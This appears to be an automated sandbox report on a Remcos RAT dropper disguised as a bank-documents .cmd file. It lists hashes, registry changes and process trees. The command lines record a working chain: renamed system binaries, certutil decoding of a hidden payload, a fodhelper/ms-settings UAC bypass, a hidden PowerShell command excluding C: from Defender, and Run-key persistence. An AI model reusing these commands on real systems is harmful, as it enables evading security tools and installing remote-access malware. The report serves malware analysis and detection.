Malware Analysis Report

2024-12-07 22:46

Sample ID 240512-p9b1gsfg71
Target 909566cec9e7ecbe5d202f3f5a5e169093a4ab98824b7a5b85b1950d621f16d9.tar.danger
SHA256 909566cec9e7ecbe5d202f3f5a5e169093a4ab98824b7a5b85b1950d621f16d9
Tags
remcos ozkolaluminum persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

909566cec9e7ecbe5d202f3f5a5e169093a4ab98824b7a5b85b1950d621f16d9

Threat Level: Known bad

The file 909566cec9e7ecbe5d202f3f5a5e169093a4ab98824b7a5b85b1950d621f16d9.tar.danger was found to be: Known bad.

Malicious Activity Summary

remcos ozkolaluminum persistence rat

Remcos

Loads dropped DLL

Executes dropped EXE

Checks computer location settings

Adds Run key to start application

Enumerates physical storage devices

Kills process with taskkill

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Script User-Agent

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-12 13:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-12 13:01

Reported

2024-05-12 13:01

Platform

win7-20240221-en

Max time kernel

11s

Max time network

1s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\BANKDocuments587DOC03027321122021387032DE564RT.cmd"

Signatures

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Ping_c.pif N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2100 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2100 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2100 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2100 wrote to memory of 2960 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2960 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2960 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 1412 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 1412 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 1412 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1412 wrote to memory of 3064 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1412 wrote to memory of 3064 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1412 wrote to memory of 3064 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2100 wrote to memory of 2592 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2592 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2592 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2592 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2592 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2592 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2100 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2596 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2664 wrote to memory of 2596 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2664 wrote to memory of 2596 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2100 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2608 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2260 wrote to memory of 2608 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2260 wrote to memory of 2608 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2100 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 2656 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2732 wrote to memory of 2656 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2732 wrote to memory of 2656 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2100 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2772 wrote to memory of 2620 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2772 wrote to memory of 2620 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2772 wrote to memory of 2620 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2620 wrote to memory of 1916 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2620 wrote to memory of 1916 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2620 wrote to memory of 1916 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1916 wrote to memory of 1984 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1916 wrote to memory of 1984 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1916 wrote to memory of 1984 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2100 wrote to memory of 2760 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2760 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2760 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2760 wrote to memory of 2776 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2760 wrote to memory of 2776 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2760 wrote to memory of 2776 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2100 wrote to memory of 2764 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2764 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2100 wrote to memory of 2764 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2764 wrote to memory of 2752 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2764 wrote to memory of 2752 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2764 wrote to memory of 2752 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2100 wrote to memory of 860 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\BANKDocuments587DOC03027321122021387032DE564RT.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\BANKDocuments587DOC03027321122021387032DE564RT.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\BANKDocuments587DOC03027321122021387032DE564RT.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

Network

N/A

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2620-43-0x000000001B470000-0x000000001B752000-memory.dmp

memory/2620-44-0x0000000001E30000-0x0000000001E38000-memory.dmp

\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

C:\Users\Public\Ping_c.mp4

MD5 182901dd6c35f6cc65a8c4103d8beddd
SHA1 a52233a6ceb0009ef6284909f4389ed20443d39e
SHA256 9d77adc9eea50fd91430684ad42ee8e17ff8269366ecbbab65ad5d5c6ba7beb8
SHA512 9e790b3907f11cb789a8b9f9d06925ac22b1d2b130da82a6f0e71415e362b3eb8a80627c2a58da12b6c60c56e293c5b5d6bed4b3b630bec7f8a6f4f5ca229a0e

C:\Users\Public\Libraries\Ping_c.pif

MD5 de5de91a0288d235eccab327f5c506df
SHA1 1c71bda09faa6a04c6c00c331531af76676511f3
SHA256 10297db5ec0a0804324c1b2cda6a0b304cd3a2cf7cc807bf8532a7753e7f8b28
SHA512 d7448847bdbc1cdd1819debad50f329ac5e946355751ebcbd4acba370be89716f6c75159376339ca78aaadeac97803a087e8703067a5eda1e6d739a09916a068

memory/860-71-0x0000000000400000-0x00000000004F9000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-12 13:01

Reported

2024-05-12 13:01

Platform

win10v2004-20240508-en

Max time kernel

18s

Max time network

18s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BANKDocuments587DOC03027321122021387032DE564RT.cmd"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nayjqohr = "C:\\Users\\Public\\Nayjqohr.url" C:\Users\Public\Libraries\Ping_c.pif N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\Libraries\Ping_c.pif N/A
N/A N/A C:\Users\Public\Libraries\Ping_c.pif N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 804 wrote to memory of 4760 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 804 wrote to memory of 4760 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 804 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 1836 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3656 wrote to memory of 4040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3656 wrote to memory of 4040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 804 wrote to memory of 3360 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3360 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3360 wrote to memory of 2316 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3360 wrote to memory of 2316 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 804 wrote to memory of 1344 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 1344 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1344 wrote to memory of 3948 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1344 wrote to memory of 3948 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 804 wrote to memory of 1828 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 1828 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1828 wrote to memory of 2848 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1828 wrote to memory of 2848 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 804 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2572 wrote to memory of 1336 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2572 wrote to memory of 1336 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 804 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2628 wrote to memory of 4056 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2628 wrote to memory of 4056 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4056 wrote to memory of 856 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4056 wrote to memory of 856 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 856 wrote to memory of 4016 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 856 wrote to memory of 4016 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 804 wrote to memory of 3812 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3812 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3812 wrote to memory of 3020 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3812 wrote to memory of 3020 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 804 wrote to memory of 2284 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 804 wrote to memory of 2284 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 804 wrote to memory of 3364 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3364 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3364 wrote to memory of 2788 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 3364 wrote to memory of 2788 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 804 wrote to memory of 1212 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 804 wrote to memory of 1212 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 804 wrote to memory of 1212 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 804 wrote to memory of 1488 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 1488 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3872 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3872 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 4400 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 4400 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 4064 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 4064 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 4480 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 4480 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3112 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 3112 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 4032 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 4032 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 2276 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 804 wrote to memory of 2276 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1212 wrote to memory of 3360 N/A C:\Users\Public\Libraries\Ping_c.pif C:\Windows\SysWOW64\extrac32.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BANKDocuments587DOC03027321122021387032DE564RT.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\BANKDocuments587DOC03027321122021387032DE564RT.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\BANKDocuments587DOC03027321122021387032DE564RT.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

